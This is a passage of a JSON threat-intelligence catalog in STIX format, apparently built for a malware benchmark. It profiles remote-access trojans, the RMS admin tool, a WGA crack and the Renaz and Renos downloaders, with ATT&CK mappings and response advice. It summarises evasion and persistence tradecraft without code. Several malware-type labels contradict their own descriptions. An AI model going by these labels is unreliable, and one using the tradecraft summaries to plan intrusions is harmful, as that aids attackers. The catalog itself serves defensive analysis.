          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Remoteadmin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/remoteadmin"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88da9c67-89a0-59e0-8ff6-142f35db2668",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f325ad7c-d578-5b5b-9ff1-9fd486da9a67",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoteadmin exhibits technique T1219 (Remote Access Software)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbce60f2-9ac7-595f-a11c-ebf372eebc9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f325ad7c-d578-5b5b-9ff1-9fd486da9a67",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoteadmin exhibits technique T1078 (Valid Accounts)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4bec0872-a5cd-50a4-9735-e0761e180b3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f325ad7c-d578-5b5b-9ff1-9fd486da9a67",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoteadmin exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0c32a03-9564-512a-8b9c-1bf51c377b88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f325ad7c-d578-5b5b-9ff1-9fd486da9a67",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoteadmin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12f333b9-a5a4-57b7-a81d-ded3633cb191",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f325ad7c-d578-5b5b-9ff1-9fd486da9a67",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoteadmin exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7d7e7fb5-655c-50bb-9c7b-6954990f68f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Remotehack",
      "description": "<h3>Executive Summary</h3>\nRemoteHack is a broad classification for a suite of Remote Access Trojans (RATs) and remote administration HackTools. These tools are designed to provide a remote operator with complete, interactive control over a compromised Windows endpoint. When detected outside of authorized penetration testing engagements, it indicates a severe compromise of the endpoint's security posture.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRemoteHack tools are typically deployed manually by attackers who have gained initial access via compromised RDP credentials, exploited web services, or via secondary deployment by a generic trojan downloader.\n\nOnce deployed, RemoteHack provides a comprehensive GUI or command-line interface for the attacker:\n<ul>\n<li><strong>Full System Control:</strong> The tool allows the attacker to execute arbitrary shell commands, modify the Windows Registry, stop/start system services, and manipulate the file system (uploading/downloading files).</li>\n<li><strong>Surveillance and Espionage:</strong> Many variants categorized as RemoteHack include modules for live screen capture, keystroke logging, and sometimes audio/video surveillance by hijacking connected webcams or microphones.</li>\n<li><strong>Persistence:</strong> The tool will typically install itself as a hidden Windows Service or add entries to the `Run` registry keys to ensure the backdoor remains accessible even after the system is rebooted.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA RemoteHack infection is a critical security incident. The presence of a functional RAT indicates that an attacker has complete sovereignty over the endpoint. Confidentiality, Integrity, and Availability of the data on that machine (and potentially the entire network) are entirely compromised.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Severing the C2 connection is the absolute highest priority. Disconnect the infected machine from the network immediately to cut off the attacker's interactive access.</li>\n<li><strong>Hunt for Lateral Movement:</strong> Assume the attacker has already used the tool to pivot. Incident responders must analyze network traffic logs (NetFlow, firewall logs) originating from the infected IP address to identify other potentially compromised internal hosts.</li>\n<li><strong>Bare-Metal Re-imaging:</strong> Due to the extensive, interactive control a RAT provides, it is impossible to guarantee that a system has been \"cleaned\" manually. The attacker likely installed secondary, hidden backdoors. The only secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.RemoteHack",
        "RAT.RemoteHack",
        "Win32/RemoteHack"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Remotehack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/remotehack"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d234d1ce-e5c9-5662-aef2-2e12a95003da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d7e7fb5-655c-50bb-9c7b-6954990f68f1",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remotehack exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23082b7e-b061-50ee-ae27-b01aad6877da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d7e7fb5-655c-50bb-9c7b-6954990f68f1",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remotehack exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36493681-1b14-569d-a5e5-ecefcb710070",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d7e7fb5-655c-50bb-9c7b-6954990f68f1",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remotehack exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f33e848e-0779-5b88-a252-8b4fa8bdbd2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d7e7fb5-655c-50bb-9c7b-6954990f68f1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remotehack exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ae1eef45-d040-5fb0-9a2d-efdca5b6a596",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Remotemanipulator",
      "description": "HackTool:Win32/Remotemanipulator (commonly known as **RMS** or **Remote Manipulator System**) is a legitimate, commercial Remote Administration Tool (RAT) similar to TeamViewer or AnyDesk. While it is marketed as a legal IT support utility, RMS is heavily and aggressively abused by threat actors (including APTs and ransomware gangs) to establish persistent, high-privilege backdoors into corporate networks while blending in with legitimate administrative traffic.<br><br><b>Understanding RMS Abuse</b><br>To an end-user, RMS is largely invisible; threat actors deploy the 'Host' module silently without a GUI. For a security analyst, the unapproved presence of RMS is a critical incident. Because RMS is legally signed software (`T1553.002`), it routinely bypasses static antivirus signatures. Attackers use it to bypass network firewalls, utilizing the vendor's legitimate cloud relay servers to establish a reverse connection back to the attacker, eliminating the need for complex port forwarding.<br><br><b>Execution and Legitimate Tool Abuse</b><br>RMS is typically dropped as a secondary payload after initial access is gained via phishing (`T1566.001`) or RDP brute-forcing (`T1110`). Attackers deploy a customized, pre-configured MSI installer of the RMS Host module. They use command-line switches to install it silently (`T1059.004`), hiding the tray icon and disabling user prompts. Once installed, it establishes persistence as a high-privilege Windows Service (`T1543.003`). The host connects out to the legitimate RMS infrastructure (often `tektonit.ru` or associated IPs) (`T1071.001`). The attacker connects to the same infrastructure using the 'Viewer' module, granting them full GUI control, file transfer (`T1041`), and command execution capabilities on the victim machine, completely bypassing perimeter ingress filtering.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total, interactive remote control of the endpoint, almost always preceding lateral movement or data exfiltration. The primary IoC is the execution of `rutserv.exe` or `rfusclient.exe` (the core RMS binaries), especially if launched silently from a temporary directory. Network analysts should look for sustained outbound TCP traffic to known RMS relay servers. EDR logs will flag the silent installation of the 'Remote Manipulator System' service. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Remotemanipulator",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/remotemanipulator"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78d6dd50-8503-52f3-8da8-12b3866827d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae1eef45-d040-5fb0-9a2d-efdca5b6a596",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remotemanipulator exhibits technique T1219 (Remote Access Software (Abusing legitimate RMS for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f09e0102-5fa9-5595-821b-740c5e54fa93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae1eef45-d040-5fb0-9a2d-efdca5b6a596",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remotemanipulator exhibits technique T1543.003 (Create or Modify System Process: Windows Service (RMS Host Service))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cca29fe1-00a8-5126-a5ee-77f3296915bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae1eef45-d040-5fb0-9a2d-efdca5b6a596",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remotemanipulator exhibits technique T1071.001 (Application Layer Protocol (Using RMS cloud relays for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd618eef-b6b9-5ef5-8ec8-923962939e33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae1eef45-d040-5fb0-9a2d-efdca5b6a596",
      "target_ref": "attack-pattern--7415154c-1115-577c-adf2-82a877576a4e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remotemanipulator exhibits technique T1553.002 (Subvert Trust Controls: Code Signing (RMS is digitally signed))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3139c857-b5a6-559c-929c-9a7fdc7c2658",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Removewga",
      "description": "<h3>Executive Summary</h3>\nRemoveWGA is classified as a \"HackTool\" or \"Riskware.\" It is a legacy software cracking utility specifically designed to illegally bypass and remove the \"Windows Genuine Advantage\" (WGA) validation system introduced by Microsoft during the Windows XP era. While the tool itself is primarily designed for piracy rather than destruction, its presence represents a significant security risk, as \"cracks\" are a primary distribution vector for severe malware.\n\n<h3>Technical Behavior and Risk Factors</h3>\nRemoveWGA operates by forcibly terminating the `wgatray.exe` process, deleting associated validation files in the `System32` directory, and modifying registry keys to prevent Windows from continually checking the legitimacy of the installed license.\n\nWhile the mechanics are straightforward, the security implications are severe:\n<ul>\n<li><strong>High Probability of Bundled Malware:</strong> Because these tools are illegal, they are exclusively distributed via peer-to-peer (P2P) networks, torrents, and untrustworthy \"warez\" sites. Threat actors almost universally bundle RemoveWGA downloads with severe secondary payloads, including Info-Stealers, rootkits, and botnet clients.</li>\n<li><strong>Disabled Security Controls:</strong> To function correctly, cracking tools require deep system access. The instructions accompanying the tool invariably require the user to explicitly disable their antivirus software, leaving the system completely defenseless against the bundled malware.</li>\n<li><strong>Unpatched Vulnerabilities:</strong> By deliberately running a pirated OS and bypassing WGA, the system often becomes ineligible for critical security updates from Microsoft Windows Update, leaving it perpetually vulnerable to known exploits.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of RemoveWGA on a corporate network is a major compliance and security violation. It indicates that a user has actively disabled enterprise security controls and deliberately executed code from an untrustworthy source, highly likely resulting in a severe secondary infection.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation and Investigation:</strong> Isolate the machine. Treat the detection of a crack as a high-confidence indicator of a broader compromise. Do not just delete the crack; assume a secondary payload (like a backdoor or stealer) has already been deployed.</li>\n<li><strong>Complete Re-imaging:</strong> Because the user intentionally disabled antivirus to run the tool, the system cannot be trusted. The only secure remediation is a complete bare-metal format and re-imaging of the workstation with a legitimate OS license.</li>\n<li><strong>Policy Enforcement:</strong> The presence of this tool indicates a failure of Application Control. Enforce strict AppLocker policies preventing standard users from executing unknown binaries.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.RemoveWGA",
        "Riskware.WGA",
        "Win32/RemoveWGA"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Removewga",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/removewga"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--854c274a-e4c2-5797-b588-6fc50286f32c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3139c857-b5a6-559c-929c-9a7fdc7c2658",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Removewga exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3bb0ec6c-0ae0-5bf4-b201-b6afae203731",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3139c857-b5a6-559c-929c-9a7fdc7c2658",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Removewga exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--54402fa4-4d17-50f8-8dc1-1f4b1194977b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1089: Disabling Security Tools",
      "description": "MITRE ATT&CK Technique T1089 (Disabling Security Tools) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1089",
          "url": "https://attack.mitre.org/techniques/T1089/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e65d6f4-f982-57f8-87b7-60c1b3d6542c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3139c857-b5a6-559c-929c-9a7fdc7c2658",
      "target_ref": "attack-pattern--54402fa4-4d17-50f8-8dc1-1f4b1194977b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Removewga exhibits technique T1089 (Disabling Security Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--edf6ea35-f582-5e5e-86ad-7248e54c107b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Remoxec",
      "description": "<h3>Executive Summary</h3>\nRemoxec is a highly dangerous Remote Access Trojan (RAT) and Backdoor. Its primary objective is to silently infiltrate a Windows workstation or server, establish an encrypted command-and-control (C2) channel, and grant a remote attacker full, interactive, administrative control over the compromised endpoint, effectively bypassing all local security controls.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nRemoxec is typically deployed via highly targeted spear-phishing campaigns (often utilizing malicious macros in Office documents), drive-by downloads from compromised websites, or installed directly by an attacker who has gained initial access via compromised RDP credentials.\n\nOnce executed, Remoxec provides a comprehensive suite of espionage and control features:\n<ul>\n<li><strong>Interactive Shell Access:</strong> The RAT provides the attacker with a hidden, interactive command-line interface (reverse shell). The attacker can execute arbitrary system commands, manipulate the registry, and manage running processes as if they were sitting at the keyboard.</li>\n<li><strong>Surveillance and Espionage:</strong> Remoxec typically includes modules for live audio/video capture (hijacking the webcam and microphone), capturing desktop screenshots, and a built-in keylogger to steal passwords and monitor user activity in real-time.</li>\n<li><strong>Lateral Movement Platform:</strong> A compromised machine running a RAT acts as a perfect beachhead for lateral movement. The attacker can utilize Remoxec's file management capabilities to upload port scanners, credential dumping tools (like Mimikatz), and additional exploits to attack other servers within the corporate network.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Remoxec infection is a critical \"glass break\" security incident. The presence of a functional RAT indicates that an attacker has complete sovereignty over the endpoint. Confidentiality, Integrity, and Availability of the data on that machine (and potentially the entire network) are entirely compromised.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Severing the C2 connection is the absolute highest priority. Disconnect the infected machine from the network immediately to cut off the attacker's interactive access.</li>\n<li><strong>Hunt for Lateral Movement:</strong> Assume the attacker has already used the RAT to pivot. Incident responders must analyze network traffic logs (NetFlow, firewall logs) originating from the infected IP address to identify other potentially compromised internal hosts.</li>\n<li><strong>Bare-Metal Re-imaging:</strong> Due to the extensive, interactive control a RAT provides, it is impossible to guarantee that a system has been \"cleaned\" manually. The attacker likely installed secondary backdoors. The only secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.Remoxec",
        "RAT.Remoxec",
        "Win32/Remoxec"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Remoxec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/remoxec"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb36f238-f70d-51c8-89cb-cbc2c14cf0a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edf6ea35-f582-5e5e-86ad-7248e54c107b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoxec exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f09632eb-c3ac-5fa1-849a-8dd28ce4e35d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edf6ea35-f582-5e5e-86ad-7248e54c107b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoxec exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9d9cdd0-799d-583c-9ebc-e6e6bf44a8c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edf6ea35-f582-5e5e-86ad-7248e54c107b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoxec exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6688038-dd31-5196-bbb8-ac7bb730c75a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edf6ea35-f582-5e5e-86ad-7248e54c107b",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Remoxec exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2a0f1736-395f-514f-93d3-b9e0871c6aed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Renaz",
      "description": "Trojan:Win32/Renaz is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Renaz</b><br>To an end-user, a Renaz infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Renaz is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Renaz is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Renaz frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Renaz reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Renaz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/renaz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7250240-e756-573c-8722-41e25a7f6085",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0f1736-395f-514f-93d3-b9e0871c6aed",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Renaz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0a79148-e600-5018-9193-d987305f55f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0f1736-395f-514f-93d3-b9e0871c6aed",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Renaz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13f688f4-ffd6-5624-b43b-973b24b47dc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0f1736-395f-514f-93d3-b9e0871c6aed",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Renaz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a396585-7c6c-524c-afeb-b4f25e89999e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0f1736-395f-514f-93d3-b9e0871c6aed",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Renaz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01341778-edda-5f40-9c6b-46dd8c2f47ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a0f1736-395f-514f-93d3-b9e0871c6aed",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Renaz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3aa33ce3-4c45-562c-91b1-14b2f0fff71e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Renos",
      "description": "Renos (cataloged across security intelligence feeds under signatures including TrojanDownloader:Win32/Renos, Trojan.Renos, and Trojan-Downloader.Win32.Renos) is a landmark family of trojan downloaders active from 2007 to 2011, engineered to deliver rogue antivirus software and scareware (such as FakeSpypro, Antivirus 2009, and System Defender). Delivered predominantly through malicious advertising networks (malvertising), fake video codec prompts, and compromised websites via drive-by downloads, Renos silently establishes an initial foothold on Windows systems. Once executed, Renos contacts remote distribution servers over HTTP, downloads secondary scareware installers, disables Windows security alerts, and modifies the Windows Registry Run keys to ensure the dropped rogue software runs at startup to coerce victims into purchasing fraudulent licenses. (Observed samples in benchmark: 24)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Renos",
        "Trojan.Renos",
        "Trojan-Downloader.Win32.Renos",
        "Win32/Renos",
        "FakeSpypro Downloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Renos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/renos"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
